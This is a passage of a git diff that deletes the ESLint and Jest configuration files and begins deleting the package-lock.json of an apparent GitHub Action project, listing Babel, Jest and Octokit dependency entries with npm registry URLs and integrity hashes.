deleted file mode 100644 index c3d6354..0000000 --- a/eslintrc.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "parser": "@typescript-eslint/parser", - "plugins": ["@typescript-eslint", "prettier"], - "extends": [ - "eslint:recommended", - "plugin:@typescript-eslint/recommended", - "prettier/@typescript-eslint", - "plugin:prettier/recommended" - ], - "rules": { - "prettier/prettier": [ - "error", - { - "singleQuote": true, - "trailingComma": "all", - "bracketSpacing": false, - "printWidth": 120, - "tabWidth": 2, - "semi": false - } - ], - // octokit/rest requires parameters that are not in camelcase - "camelcase": "off", - "@typescript-eslint/camelcase": ["error", {"properties": "never"}] - }, - "env": { - "node": true, - "jest": true, - "es6": true - }, - "parserOptions": { - "ecmaVersion": 2018, - "sourceType": "module" - } - } - \ No newline at end of file diff --git a/jest.config.js b/jest.config.js deleted file mode 100644 index 27481ca..0000000 --- a/jest.config.js +++ /dev/null @@ -1,12 +0,0 @@ - -module.exports = { - clearMocks: true, - moduleFileExtensions: ['js'], - testEnvironment: 'node', - testMatch: ['**/*.test.js'], - transform: { - '^.+\\.ts$': 'ts-jest', - }, - transformIgnorePatterns: ['^.+\\.js$'], - verbose: true, - } diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index 44ce9df..0000000 --- a/package-lock.json +++ /dev/null @@ -1,5887 +0,0 @@ -{ - "requires": true, - "lockfileVersion": 1, - "dependencies": { - "@actions/core": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.2.6.tgz", - "integrity": "sha512-ZQYitnqiyBc3D+k7LsgSBmMDVkOVidaagDG7j3fOym77jNunWRuYx7VSHa9GNfFZh+zh61xsCjRj4JxMZlDqTA==", - "dev": true - }, - "@actions/github": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@actions/github/-/github-2.2.0.tgz", - "integrity": "sha512-9UAZqn8ywdR70n3GwVle4N8ALosQs4z50N7XMXrSTUVOmVpaBC5kE3TRTT7qQdi3OaQV24mjGuJZsHUmhD+ZXw==", - "dev": true, - "requires": { - "@actions/http-client": "^1.0.3", - "@octokit/graphql": "^4.3.1", - "@octokit/rest": "^16.43.1" - } - }, - "@actions/http-client": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-1.0.8.tgz", - "integrity": "sha512-G4JjJ6f9Hb3Zvejj+ewLLKLf99ZC+9v+yCxoYf9vSyH+WkzPLB2LuUtRMGNkooMqdugGBFStIKXOuvH1W+EctA==", - "dev": true, - "requires": { - "tunnel": "0.0.6" - } - }, - "@babel/code-frame": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz", - "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==", - "dev": true, - "requires": { - "@babel/highlight": "^7.8.3" - } - }, - "@babel/core": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.6.tgz", - "integrity": "sha512-nD3deLvbsApbHAHttzIssYqgb883yU/d9roe4RZymBCDaZryMJDbptVpEpeQuRh4BJ+SYI8le9YGxKvFEvl1Wg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/generator": "^7.9.6", - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helpers": "^7.9.6", - "@babel/parser": "^7.9.6", - "@babel/template": "^7.8.6", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6", - "convert-source-map": "^1.7.0", - "debug": "^4.1.0", - "gensync": "^1.0.0-beta.1", - "json5": "^2.1.2", - "lodash": "^4.17.13", - "resolve": "^1.3.2", - "semver": "^5.4.1", - "source-map": "^0.5.0" - }, - "dependencies": { - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "@babel/generator": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.9.6.tgz", - "integrity": "sha512-+htwWKJbH2bL72HRluF8zumBxzuX0ZZUFl3JLNyoUjM/Ho8wnVpPXM6aUz8cfKDqQ/h7zHqKt4xzJteUosckqQ==", - "dev": true, - "requires": { - "@babel/types": "^7.9.6", - "jsesc": "^2.5.1", - "lodash": "^4.17.13", - "source-map": "^0.5.0" - }, - "dependencies": { - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "@babel/helper-function-name": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz", - "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/types": "^7.9.5" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz", - "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==", - "dev": true, - "requires": { - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-member-expression-to-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz", - "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==", - "dev": true, - "requires": { - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-module-imports": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz", - "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==", - "dev": true, - "requires": { - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-module-transforms": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz", - "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==", - "dev": true, - "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.6", - "@babel/helper-simple-access": "^7.8.3", - "@babel/helper-split-export-declaration": "^7.8.3", - "@babel/template": "^7.8.6", - "@babel/types": "^7.9.0", - "lodash": "^4.17.13" - } - }, - "@babel/helper-optimise-call-expression": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz", - "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==", - "dev": true, - "requires": { - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-plugin-utils": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz", - "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ==", - "dev": true - }, - "@babel/helper-replace-supers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.9.6.tgz", - "integrity": "sha512-qX+chbxkbArLyCImk3bWV+jB5gTNU/rsze+JlcF6Nf8tVTigPJSI1o1oBow/9Resa1yehUO9lIipsmu9oG4RzA==", - "dev": true, - "requires": { - "@babel/helper-member-expression-to-functions": "^7.8.3", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" - } - }, - "@babel/helper-simple-access": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz", - "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==", - "dev": true, - "requires": { - "@babel/template": "^7.8.3", - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz", - "integrity": "sha512-3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==", - "dev": true, - "requires": { - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz", - "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==", - "dev": true - }, - "@babel/helpers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.6.tgz", - "integrity": "sha512-tI4bUbldloLcHWoRUMAj4g1bF313M/o6fBKhIsb3QnGVPwRm9JsNf/gqMkQ7zjqReABiffPV6RWj7hEglID5Iw==", - "dev": true, - "requires": { - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" - } - }, - "@babel/highlight": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.9.0.tgz", - "integrity": "sha512-lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.9.0", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "@babel/parser": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.6.tgz", - "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==", - "dev": true - }, - "@babel/plugin-syntax-async-generators": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-bigint": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", - "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-class-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.8.3.tgz", - "integrity": "sha512-UcAyQWg2bAN647Q+O811tG9MrJ38Z10jjhQdKNAL8fsyPzE3cCN/uT+f55cFVY4aGO4jqJAvmqsuY3GQDwAoXg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.3" - } - }, - "@babel/plugin-syntax-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-logical-assignment-operators": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.8.3.tgz", - "integrity": "sha512-Zpg2Sgc++37kuFl6ppq2Q7Awc6E6AIW671x5PY8E/f7MCIyPPGK/EoeZXvvY3P42exZ3Q4/t3YOzP/HiN79jDg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.3" - } - }, - "@babel/plugin-syntax-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-numeric-separator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz", - "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.3" - } - }, - "@babel/plugin-syntax-object-rest-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-optional-chaining": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/template": { - "version": "7.8.6", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", - "integrity": "sha512-zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/parser": "^7.8.6", - "@babel/types": "^7.8.6" - } - }, - "@babel/traverse": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.9.6.tgz", - "integrity": "sha512-b3rAHSjbxy6VEAvlxM8OV/0X4XrG72zoxme6q1MOoe2vd0bEc+TwayhuC1+Dfgqh1QEG+pj7atQqvUprHIccsg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/generator": "^7.9.6", - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-split-export-declaration": "^7.8.3", - "@babel/parser": "^7.9.6", - "@babel/types": "^7.9.6", - "debug": "^4.1.0", - "globals": "^11.1.0", - "lodash": "^4.17.13" - } - }, - "@babel/types": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz", - "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.9.5", - "lodash": "^4.17.13", - "to-fast-properties": "^2.0.0" - } - }, - "@bcoe/v8-coverage": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", - "dev": true - }, - "@cnakazawa/watch": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@cnakazawa/watch/-/watch-1.0.4.tgz", - "integrity": "sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==", - "dev": true, - "requires": { - "exec-sh": "^0.3.2", - "minimist": "^1.2.0" - } - }, - "@istanbuljs/load-nyc-config": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.0.0.tgz", - "integrity": "sha512-ZR0rq/f/E4f4XcgnDvtMWXCUJpi8eO0rssVhmztsZqLIEFA9UUP9zmpE0VxlM+kv/E1ul2I876Fwil2ayptDVg==", - "dev": true, - "requires": { - "camelcase": "^5.3.1", - "find-up": "^4.1.0", - "js-yaml": "^3.13.1", - "resolve-from": "^5.0.0" - } - }, - "@istanbuljs/schema": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.2.tgz", - "integrity": "sha512-tsAQNx32a8CoFhjhijUIhI4kccIAgmGhy8LZMZgGfmXcpMbPRUqn5LWmgRttILi6yeGmBJd2xsPkFMs0PzgPCw==", - "dev": true - }, - "@jest/console": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-26.0.1.tgz", - "integrity": "sha512-9t1KUe/93coV1rBSxMmBAOIK3/HVpwxArCA1CxskKyRiv6o8J70V8C/V3OJminVCTa2M0hQI9AWRd5wxu2dAHw==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "jest-message-util": "^26.0.1", - "jest-util": "^26.0.1", - "slash": "^3.0.0" - } - }, - "@jest/core": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-26.0.1.tgz", - "integrity": "sha512-Xq3eqYnxsG9SjDC+WLeIgf7/8KU6rddBxH+SCt18gEpOhAGYC/Mq+YbtlNcIdwjnnT+wDseXSbU0e5X84Y4jTQ==", - "dev": true, - "requires": { - "@jest/console": "^26.0.1", - "@jest/reporters": "^26.0.1", - "@jest/test-result": "^26.0.1", - "@jest/transform": "^26.0.1", - "@jest/types": "^26.0.1", - "ansi-escapes": "^4.2.1", - "chalk": "^4.0.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.4", - "jest-changed-files": "^26.0.1", - "jest-config": "^26.0.1", - "jest-haste-map": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-regex-util": "^26.0.0", - "jest-resolve": "^26.0.1", - "jest-resolve-dependencies": "^26.0.1", - "jest-runner": "^26.0.1", - "jest-runtime": "^26.0.1", - "jest-snapshot": "^26.0.1", - "jest-util": "^26.0.1", - "jest-validate": "^26.0.1", - "jest-watcher": "^26.0.1", - "micromatch": "^4.0.2", - "p-each-series": "^2.1.0", - "rimraf": "^3.0.0", - "slash": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "@jest/environment": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-26.0.1.tgz", - "integrity": "sha512-xBDxPe8/nx251u0VJ2dFAFz2H23Y98qdIaNwnMK6dFQr05jc+Ne/2np73lOAx+5mSBO/yuQldRrQOf6hP1h92g==", - "dev": true, - "requires": { - "@jest/fake-timers": "^26.0.1", - "@jest/types": "^26.0.1", - "jest-mock": "^26.0.1" - } - }, - "@jest/fake-timers": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-26.0.1.tgz", - "integrity": "sha512-Oj/kCBnTKhm7CR+OJSjZty6N1bRDr9pgiYQr4wY221azLz5PHi08x/U+9+QpceAYOWheauLP8MhtSVFrqXQfhg==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "@sinonjs/fake-timers": "^6.0.1", - "jest-message-util": "^26.0.1", - "jest-mock": "^26.0.1", - "jest-util": "^26.0.1" - } - }, - "@jest/globals": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-26.0.1.tgz", - "integrity": "sha512-iuucxOYB7BRCvT+TYBzUqUNuxFX1hqaR6G6IcGgEqkJ5x4htNKo1r7jk1ji9Zj8ZMiMw0oB5NaA7k5Tx6MVssA==", - "dev": true, - "requires": { - "@jest/environment": "^26.0.1", - "@jest/types": "^26.0.1", - "expect": "^26.0.1" - } - }, - "@jest/reporters": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-26.0.1.tgz", - "integrity": "sha512-NWWy9KwRtE1iyG/m7huiFVF9YsYv/e+mbflKRV84WDoJfBqUrNRyDbL/vFxQcYLl8IRqI4P3MgPn386x76Gf2g==", - "dev": true, - "requires": { - "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "^26.0.1", - "@jest/test-result": "^26.0.1", - "@jest/transform": "^26.0.1", - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "collect-v8-coverage": "^1.0.0", - "exit": "^0.1.2", - "glob": "^7.1.2", - "graceful-fs": "^4.2.4", - "istanbul-lib-coverage": "^3.0.0", - "istanbul-lib-instrument": "^4.0.0", - "istanbul-lib-report": "^3.0.0", - "istanbul-lib-source-maps": "^4.0.0", - "istanbul-reports": "^3.0.2", - "jest-haste-map": "^26.0.1", - "jest-resolve": "^26.0.1", - "jest-util": "^26.0.1", - "jest-worker": "^26.0.0", - "node-notifier": "^7.0.0", - "slash": "^3.0.0", - "source-map": "^0.6.0", - "string-length": "^4.0.1", - "terminal-link": "^2.0.0", - "v8-to-istanbul": "^4.1.3" - } - }, - "@jest/source-map": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-26.0.0.tgz", - "integrity": "sha512-S2Z+Aj/7KOSU2TfW0dyzBze7xr95bkm5YXNUqqCek+HE0VbNNSNzrRwfIi5lf7wvzDTSS0/ib8XQ1krFNyYgbQ==", - "dev": true, - "requires": { - "callsites": "^3.0.0", - "graceful-fs": "^4.2.4", - "source-map": "^0.6.0" - } - }, - "@jest/test-result": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-26.0.1.tgz", - "integrity": "sha512-oKwHvOI73ICSYRPe8WwyYPTtiuOAkLSbY8/MfWF3qDEd/sa8EDyZzin3BaXTqufir/O/Gzea4E8Zl14XU4Mlyg==", - "dev": true, - "requires": { - "@jest/console": "^26.0.1", - "@jest/types": "^26.0.1", - "@types/istanbul-lib-coverage": "^2.0.0", - "collect-v8-coverage": "^1.0.0" - } - }, - "@jest/test-sequencer": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-26.0.1.tgz", - "integrity": "sha512-ssga8XlwfP8YjbDcmVhwNlrmblddMfgUeAkWIXts1V22equp2GMIHxm7cyeD5Q/B0ZgKPK/tngt45sH99yLLGg==", - "dev": true, - "requires": { - "@jest/test-result": "^26.0.1", - "graceful-fs": "^4.2.4", - "jest-haste-map": "^26.0.1", - "jest-runner": "^26.0.1", - "jest-runtime": "^26.0.1" - } - }, - "@jest/transform": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-26.0.1.tgz", - "integrity": "sha512-pPRkVkAQ91drKGbzCfDOoHN838+FSbYaEAvBXvKuWeeRRUD8FjwXkqfUNUZL6Ke48aA/1cqq/Ni7kVMCoqagWA==", - "dev": true, - "requires": { - "@babel/core": "^7.1.0", - "@jest/types": "^26.0.1", - "babel-plugin-istanbul": "^6.0.0", - "chalk": "^4.0.0", - "convert-source-map": "^1.4.0", - "fast-json-stable-stringify": "^2.0.0", - "graceful-fs": "^4.2.4", - "jest-haste-map": "^26.0.1", - "jest-regex-util": "^26.0.0", - "jest-util": "^26.0.1", - "micromatch": "^4.0.2", - "pirates": "^4.0.1", - "slash": "^3.0.0", - "source-map": "^0.6.1", - "write-file-atomic": "^3.0.0" - } - }, - "@jest/types": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.0.1.tgz", - "integrity": "sha512-IbtjvqI9+eS1qFnOIEL7ggWmT+iK/U+Vde9cGWtYb/b6XgKb3X44ZAe/z9YZzoAAZ/E92m0DqrilF934IGNnQA==", - "dev": true, - "requires": { - "@types/istanbul-lib-coverage": "^2.0.0", - "@types/istanbul-reports": "^1.1.1", - "@types/yargs": "^15.0.0", - "chalk": "^4.0.0" - } - }, - "@octokit/auth-token": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.4.0.tgz", - "integrity": "sha512-eoOVMjILna7FVQf96iWc3+ZtE/ZT6y8ob8ZzcqKY1ibSQCnu4O/B7pJvzMx5cyZ/RjAff6DAdEb0O0Cjcxidkg==", - "dev": true, - "requires": { - "@octokit/types": "^2.0.0" - } - }, - "@octokit/endpoint": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.1.tgz", - "integrity": "sha512-pOPHaSz57SFT/m3R5P8MUu4wLPszokn5pXcB/pzavLTQf2jbU+6iayTvzaY6/BiotuRS0qyEUkx3QglT4U958A==", - "dev": true, - "requires": { - "@octokit/types": "^2.11.1", - "is-plain-object": "^3.0.0", - "universal-user-agent": "^5.0.0" - } - }, - "@octokit/graphql": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.4.0.tgz", - "integrity": "sha512-Du3hAaSROQ8EatmYoSAJjzAz3t79t9Opj/WY1zUgxVUGfIKn0AEjg+hlOLscF6fv6i/4y/CeUvsWgIfwMkTccw==", - "dev": true, - "requires": { - "@octokit/request": "^5.3.0", - "@octokit/types": "^2.0.0", - "universal-user-agent": "^5.0.0" - } - }, - "@octokit/plugin-paginate-rest": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-1.1.2.tgz", - "integrity": "sha512-jbsSoi5Q1pj63sC16XIUboklNw+8tL9VOnJsWycWYR78TKss5PVpIPb1TUUcMQ+bBh7cY579cVAWmf5qG+dw+Q==", - 